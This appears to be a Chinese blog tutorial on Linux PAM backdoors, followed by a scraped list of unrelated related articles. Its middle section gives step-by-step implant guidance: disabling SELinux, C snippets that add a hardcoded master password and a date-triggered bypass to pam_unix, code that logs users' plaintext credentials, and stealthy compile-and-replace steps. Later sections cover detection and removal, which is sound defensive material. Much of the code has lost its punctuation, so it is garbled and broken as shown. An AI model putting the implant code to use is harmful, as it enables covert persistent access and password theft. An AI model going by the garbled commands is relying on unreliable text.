当前位置: 首页 > article >正文

PAM后门攻防实战:从植入到检测与清除

1. PAM后门攻防全景解析想象一下你家的防盗门锁被人偷偷换了锁芯表面上看起来一切正常但小偷手里却有一把万能钥匙——这就是PAM后门的可怕之处。作为Linux系统的门禁系统PAM可插拔认证模块掌管着所有登录认证的钥匙而攻击者正盯着这个关键组件做手脚。我在企业安全审计中见过最狡猾的案例攻击者修改了pam_unix.so模块当输入特定密码OpenSesame2023!时直接放行同时把正常用户的账号密码悄悄记录到/tmp/.cache目录下的伪装文件里。这种后门就像透明胶带粘在门框上不仔细检查根本发现不了。PAM后门的三重危害隐形通道绕过正常认证机制用预设密码即可登录密码收割机记录所有成功登录的凭证持久化驻留即使修改系统密码仍可维持访问权限最近某云服务商的安全报告显示高级持续性威胁(APT)组织开始大规模利用PAM后门作为横向移动的跳板平均驻留时间长达143天未被发现。这提醒我们了解攻击手法只是开始构建完整的检测清除体系才是关键。2. 后门植入深度剖析2.1 环境准备与依赖处理实战中遇到的第一道关卡往往是SELinux。有次给客户做渗透测试明明编译好的pam_unix.so替换成功了却死活不生效折腾两小时才发现是SELinux的安全上下文不对。正确的操作顺序应该是# 临时关闭SELinux保护 setenforce 0 # 永久禁用需要修改配置文件 sed -i s/SELINUXenforcing/SELINUXdisabled/g /etc/selinux/config版本匹配是另一个坑点。有次用PAM 1.3.0的源码在1.1.8的系统上编译导致整个SSH服务崩溃。精确获取版本的方法不止rpm查询# 多维度验证版本 rpm -qi pam strings /lib64/security/pam_unix.so | grep -i version2.2 源码修改的艺术在pam_unix_auth.c中插入后门代码就像在安检仪上做手脚既要实现功能又要保持隐蔽。经过多次实战我总结出几个技巧逻辑炸弹式触发不仅检查固定密码还可以设置日期条件if(strcmp(p,Summer2024!)0 || time(NULL) 1735660800){ return PAM_SUCCESS; }隐蔽日志记录将窃取的凭证伪装成系统日志if(retval PAM_SUCCESS){ char cmd[256]; snprintf(cmd,sizeof(cmd),echo %s:%s /var/log/messages,name,p); system(cmd); }环境检测遇到特定用户或IP时禁用后门if(strcmp(name,audit_admin)0){ return pam_syslog(pamh, LOG_NOTICE, Normal auth for admin); }2.3 编译与部署陷阱编译过程看似简单却暗藏玄机。有次客户系统缺少flex-devel库导致认证逻辑异常后来发现是configure时漏掉了关键参数。完整的编译流程应该是# 解决依赖问题 yum install gcc flex flex-devel -y # 带调试信息的编译更隐蔽 ./configure --enable-debug make部署时遇到过文件权限问题导致SSH崩溃。安全做法是先备份原文件并保持相同的权限属性# 保留原文件属性 cp -a /usr/lib64/security/pam_unix.so /root/pam_unix.so.bak # 使用install命令设置权限 install -m 644 -o root -g root pam_unix.so /usr/lib64/security/3. 多维检测方法论3.1 文件系统指纹分析传统的stat检查修改时间很容易被绕过。有攻击者会将系统时钟回拨更可靠的方法是校验多个特征# 综合检查文件属性 lsattr /lib64/security/pam_unix.so # 验证ELF文件签名 readelf -S /lib64/security/pam_unix.so | grep -i signature # 计算哈希值对比 sha256sum /lib64/security/pam_unix.so /etc/pam_checksum.log最近帮某金融机构做安全评估时发现攻击者使用LD_PRELOAD劫持了stat()调用。这时候就需要直接读取磁盘块来验证# 绕过libc直接读取文件信息 debugfs -R stat /usr/lib64/security/pam_unix.so /dev/sda13.2 进程行为监控strace监控是最有效的检测手段之一。有次发现异常登录行为通过以下命令抓到罪证# 监控sshd进程的文件操作 strace -f -e tracefile -p $(pgrep -f sshd:) 21 | grep -E open|write # 特别关注/tmp和/dev/shm目录 strace -f -p $(pgrep -f sshd:) 21 | grep -E /tmp|/dev/shm更高级的做法是用eBPF实时监控# 监控PAM相关函数调用 bpftrace -e tracepoint:syscalls:sys_enter_openat { if(str(args-filename)/lib64/security/pam_unix.so){ printf(%s opened pam_unix.so\n, comm); } }3.3 日志关联分析单纯的grep查看/var/log/secure已经不够用了。我常用以下命令组合进行深度分析# 提取登录成功记录并统计 awk /Accepted password/ {print $1,$2,$3,$(NF-3),$NF} /var/log/secure* | sort | uniq -c # 检查非工作时间登录 awk /Accepted password/ $3!~/09:|10:|11:|12:|13:|14:|15:|16:|17:/ {print} /var/log/secure有个有趣的发现攻击者常在UTC时间凌晨3-5点活动这时用时区过滤很有效# 转换时区后分析 zgrep Accepted password /var/log/secure* | awk {print $1,$2,$3} | xargs -I{} date -d {} UTC8 %H | sort | uniq -c4. 彻底清除与加固4.1 安全恢复流程简单的yum reinstall pam可能不够彻底。去年处理过一个案例攻击者在/etc/pam.d/下也植入了恶意配置。完整的清除步骤应该是# 验证软件包完整性 rpm -V pam # 重新安装并清理配置 yum reinstall pam -y rm -f /etc/pam.d/*.rpmnew # 检查动态库劫持 ldd /usr/sbin/sshd | grep -vE linux-vdso|libc.so对于编译安装的环境需要手动验证每个文件# 对比官方源码 diff -u /usr/lib64/security/pam_unix.so /opt/pam-1.3.0/modules/pam_unix/.libs/pam_unix.so # 检查加载路径 strings /usr/sbin/sshd | grep pam_unix4.2 系统级防护策略基于多年的运维经验我总结出PAM防护的黄金组合文件完整性监控# 实时监控关键文件 auditctl -w /lib64/security/pam_unix.so -p war -k pam_module auditctl -w /etc/pam.d/ -p wa -k pam_config最小化编译防护# 编译时添加防护选项 ./configure CFLAGS-fstack-protector-strong -D_FORTIFY_SOURCE2多因素认证加固# 在/etc/pam.d/sshd中添加 auth required pam_google_authenticator.so auth required pam_exec.so /usr/local/bin/sms_verify.sh最近为某电商平台设计的防护方案中我们还加入了AI行为分析组件通过监控PAM调用频率、地理位置、时间模式等维度成功拦截了多次异常登录尝试。安全从来不是单点防御而是立体化的攻防对抗。

相关文章:

PAM后门攻防实战:从植入到检测与清除

1. PAM后门攻防全景解析 想象一下你家的防盗门锁被人偷偷换了锁芯,表面上看起来一切正常,但小偷手里却有一把万能钥匙——这就是PAM后门的可怕之处。作为Linux系统的"门禁系统",PAM(可插拔认证模块)掌管着所…...

手把手教你用18650电池和FM模块,做个能播歌能当话筒的移动小电台

18650电池与FM模块打造多功能便携电台:从音乐广播到无线话筒的全能方案 在户外露营、小型聚会或是临时活动现场,一个能播放音乐又能充当无线话筒的便携设备往往能派上大用场。市面上专业设备价格不菲,而利用常见的18650电池和带屏幕的FM模块&…...

C++加餐课-stack_queue:计算器-逆波兰表达式

1. 计算器实现思路 • 150. 逆波兰表达式求值 - 力扣(LeetCode) • 224. 基本计算器 - 力扣(LeetCode) • 我们日常写的计算表达式都是中缀表达式,也就是运算符在中间,运算数在两边,但是直…...

保姆级教程:用Zemax 18.9复现单模光纤耦合仿真(附康宁SMF-28e参数)

从零开始用Zemax 18.9实现单模光纤耦合仿真全流程解析 当你第一次打开Zemax软件时,面对复杂的界面和专业术语可能会感到无从下手。特别是想要复现经典的光纤耦合仿真案例时,往往会遇到版本差异、参数缺失等实际问题。本文将以康宁SMF-28e单模光纤为例&am…...

【THM-课程内容】:Privilege Escalation-Windows Privilege Escalation: Other Quick Wins

特权升级并不总是一个挑战。一些配置错误可能允许您获得更高权限的用户访问权限,在某些情况下甚至可以获得管理员访问权限。如果您认为这些更属于CTF事件的范畴,而不是您在实际渗透测试中遇到的场景,那将有所帮助。然而,如果前面提…...

Beyond Compare 5密钥生成器:免费获取永久授权的完整教程

Beyond Compare 5密钥生成器:免费获取永久授权的完整教程 【免费下载链接】BCompare_Keygen Keygen for BCompare 5 项目地址: https://gitcode.com/gh_mirrors/bc/BCompare_Keygen 还在为Beyond Compare 5的30天试用期到期而烦恼吗?想要继续使用…...

卖任何东西的6步故事框架

想象你刚把产品页面上线,文案写了整整三天,每一项功能都列得清清楚楚。结果呢?访客平均停留8秒,转化率卡在1.2%。不是产品差,是叙事从第一秒就输了——客户不是来听你“介绍自己”的,他们在等一个能让自己心…...

魔兽争霸III终极优化指南:5个技巧让经典游戏焕发新生

魔兽争霸III终极优化指南:5个技巧让经典游戏焕发新生 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper WarcraftHelper是一款专为魔兽争霸II…...

天赐范式第13天:当线性科学进行不下去,接力混沌向发展正当时,用相空间轨迹图揭示科研“内卷”的数学本质与混沌突围,文尾附python源码

我锋芒太盛,担心闯祸。因此把文章风格改成林黛玉版,希望大家能够喜欢。我们总爱步步循规,事事求序,以为步步踏实,方能行稳致远。科技之路亦如人生长路,人人愿循着旧径,一步一印,不敢…...

FPGA实战:手把手教你用Verilog驱动AD9833生成3KHz正弦波(附完整代码)

FPGA实战:从零开始用Verilog驱动AD9833生成精准3KHz正弦波 第一次接触AD9833这款DDS芯片时,看着密密麻麻的时序图和寄存器配置说明,我对着开发板发呆了半小时。直到把示波器探头接上输出引脚,看到那个完美的正弦波曲线时&#xff…...

ESP32蜂鸣器避坑指南:Wokwi仿真中PWM音量调节的3个关键参数

ESP32蜂鸣器音效调优实战:Wokwi仿真中的PWM参数精修手册 当你在Wokwi仿真环境中调试ESP32的蜂鸣器音乐播放时,是否遇到过音调失真、音量不稳定或节奏错乱的问题?这些看似简单的音频输出背后,其实隐藏着PWM控制的精妙平衡。本文将带…...

从HSPICE到Simscape:一个电路工程师如何用Simscape Language搞定大规模图像信号仿真

从HSPICE到Simscape:用自定义语言构建图像信号仿真工作流 当电路工程师第一次面对需要将百万像素级图像数据导入物理模型进行仿真时,传统SPICE工具链的局限性立刻显现。HSPICE在处理大规模激励信号时的笨拙,Cadence与Matlab数据交互的繁琐&am…...

从三甲试点到基层覆盖,AI医疗咨询规模化落地的4个生死关卡,错过2026奇点大会将延迟部署周期11.8个月

第一章:2026奇点智能技术大会:AI医疗咨询 2026奇点智能技术大会(https://ml-summit.org) 临床语义理解引擎的实时部署实践 大会现场演示了新一代轻量化医疗大模型CliniBERT-v3,该模型在NVIDIA Jetson AGX Orin边缘设备上实现亚秒级问诊响应…...

Java+YOLOv8+Redis实战:工业视觉检测缓存加速+实时数据同步,毫秒级生产级落地

一、工业视觉场景核心痛点 在车间流水线、工业质检等高频、重复、实时性要求极高的视觉检测场景中,纯YOLO推理架构存在致命问题: 重复检测浪费算力:流水线上同款产品连续检测,图像高度相似,重复推理导致CPU/GPU资源耗尽,检测延迟从20ms飙升至200ms+; 实时数据不同步:检…...

无人机集群探索实战:multi_map_manager.cpp中的多图管理与子图融合详解(附避坑指南)

无人机集群探索实战:multi_map_manager.cpp中的多图管理与子图融合详解(附避坑指南) 在无人机集群协同探索任务中,多图管理与子图融合是实现高效环境感知的核心技术。想象一下,三架无人机正在未知区域执行搜索任务&…...

揭秘SITS2026现场实测结果:3类高噪声会议场景下AI纪要生成准确率断崖式提升的4步调优法

第一章:SITS2026现场实测背景与高噪声会议纪要生成挑战全景 2026奇点智能技术大会(https://ml-summit.org) SITS2026(Smart Intelligent Technical Summit 2026)于2026年4月在上海张江科学会堂举行,汇聚全球37个国家的1200技术专…...

从零到一:构建足球赛事实时大小球数据分析平台worldliveball

1. 为什么需要足球赛事实时数据分析平台 最近几年,足球数据分析正在经历一场革命。记得三年前我在开发第一个足球数据系统时,还需要手动刷新网页查看比分,现在实时数据已经成为行业标配。worldliveball这类平台的价值在于,它能将…...

从DeepVoice到Vocos:TTS技术演进与核心模型深度解析

1. 从文本到语音:TTS技术的基本概念 想象一下,你正在开车时收到一条重要短信,这时如果手机能自动把文字转换成自然流畅的语音读出来,是不是既安全又方便?这就是TTS(Text-To-Speech)技术的魔力。…...

《Python 高阶教程》004|可变与不可变:为什么有些 bug 总是防不胜防

很多奇怪的 bug,其实都和可变、不可变有关 Python 里有一类 bug 很典型。 代码不报错。 逻辑看起来也对。 运行结果却悄悄变了。 更麻烦的是,这类问题往往不是每次都出,一旦出问题,还不太好定位。 比如: 函数里改了一个参数,外面的数据也跟着变了 两个变量看起来像各…...

什么是主数据?主数据到底怎么管理?

企业做数字化转型,绕不开主数据这个话题,很多企业走了不少弯路,其实问题根源都出在主数据上。你是不是也遇到过这种情况:数据乱七八糟、报表核对半天对不上、跨部门协作频频卡壳?说白了,这就是主数据没管好…...

免费音频转换器fre:ac:5大核心功能带你轻松玩转音频格式转换

免费音频转换器fre:ac:5大核心功能带你轻松玩转音频格式转换 【免费下载链接】freac The fre:ac audio converter project 项目地址: https://gitcode.com/gh_mirrors/fr/freac 如果你正在寻找一款功能全面、完全免费且支持多平台的音频转换工具,…...

为什么92%的生成式AI项目卡在灰度验证期?揭秘3个被低估的非功能性指标——语义稳定性、推理可复现性、版权风险渗透率

第一章:生成式AI应用灰度发布策略 2026奇点智能技术大会(https://ml-summit.org) 生成式AI应用的灰度发布需兼顾模型行为不确定性、用户反馈敏感性与系统稳定性。不同于传统服务,大语言模型输出具有非确定性、上下文强依赖性和潜在幻觉风险&#xff0c…...

AIoT产品的终极竞争:Jobs To Be Done 如何驱动从设备到服务的跃迁

目录 一、重新理解 JTBD:从“功能”到“任务”的范式转移 1.1 AIoT vs 传统产品:JTBD差异本质 二、AIoT 中的 JTBD 三层模型(核心方法论) 2.1 三层 Job 模型 第一层:Functional Job(功能任务) 第二层:Emotional Job(情感任务) 第三层:System Job(系统任务)…...

Uni从开发到上架IOS APP一站式流程(包含测试、正式证书 | 自定义基座 | Apple登录 | Apple与微信登录、分享对接 | APP备案 | 上线审核步骤)

目前网络上好多IOS上架的文章年份都比较早了,很多流程与实际操作有些出入,这里我总结了一些我在上架过程中踩到的坑,并把全程记录。 一、准备工作 IOS APP开发比较复杂 需要具备一定的前提条件: 开发阶段: 1.Apple…...

别再只用看门狗了!用STM32的PVD功能给你的低功耗设备加个‘离线通知器’

基于STM32 PVD的智能离线通知系统设计指南 引言 在物联网设备设计中,电池供电的可拆卸设备面临一个独特挑战:如何优雅地通知系统中的其他设备自己即将断电。传统解决方案往往依赖看门狗或定期心跳包,但这些方法要么反应迟钝,要么消…...

告别抢码焦虑:3步掌握MHY_Scanner的智能扫码登录技巧

告别抢码焦虑:3步掌握MHY_Scanner的智能扫码登录技巧 【免费下载链接】MHY_Scanner MHY扫码登录器,支持从直播流抢码。 项目地址: https://gitcode.com/gh_mirrors/mh/MHY_Scanner 你是否曾在米哈游游戏登录时,面对转瞬即逝的二维码感…...

3个简单步骤让WeChatMsg成为你的数字记忆保险箱

3个简单步骤让WeChatMsg成为你的数字记忆保险箱 【免费下载链接】WeChatMsg 提取微信聊天记录,将其导出成HTML、Word、CSV文档永久保存,对聊天记录进行分析生成年度聊天报告 项目地址: https://gitcode.com/GitHub_Trending/we/WeChatMsg 你是否曾…...

低空经济腾飞,人才认证如何“持证上岗”?—— 深度解析体系、技术与未来

低空经济腾飞,人才认证如何“持证上岗”?—— 深度解析体系、技术与未来 引言 当无人机将热气腾腾的外卖精准投递到你家阳台,当“空中出租车”在摩天大楼间穿梭不再是科幻电影的场景,我们正亲眼见证 “低空经济” 从蓝图变为现实。…...

纯前端实现发票二维码批量识别——PDF.js + jsQR 实战

最近在做财务报销相关的需求,需要从大量电子发票 PDF 中提取发票号码、购买方、销售方、金额等信息。手动复制粘贴效率极低,于是研究了一下能不能纯前端实现自动识别。 折腾了几天,最终用 PDF.js jsQR Tesseract.js 实现了一个完全在浏览器…...

面试绝杀!大模型必考题:多轮对话+上下文优化,满分答案直接背

做过大模型应用开发的都懂,面试只要聊到对话系统,这道题100%会被问到:面试官:大模型多轮对话怎么实现?聊久了上下文太长,该怎么优化?身边太多求职者栽在这道题上:要么答得零零散散没…...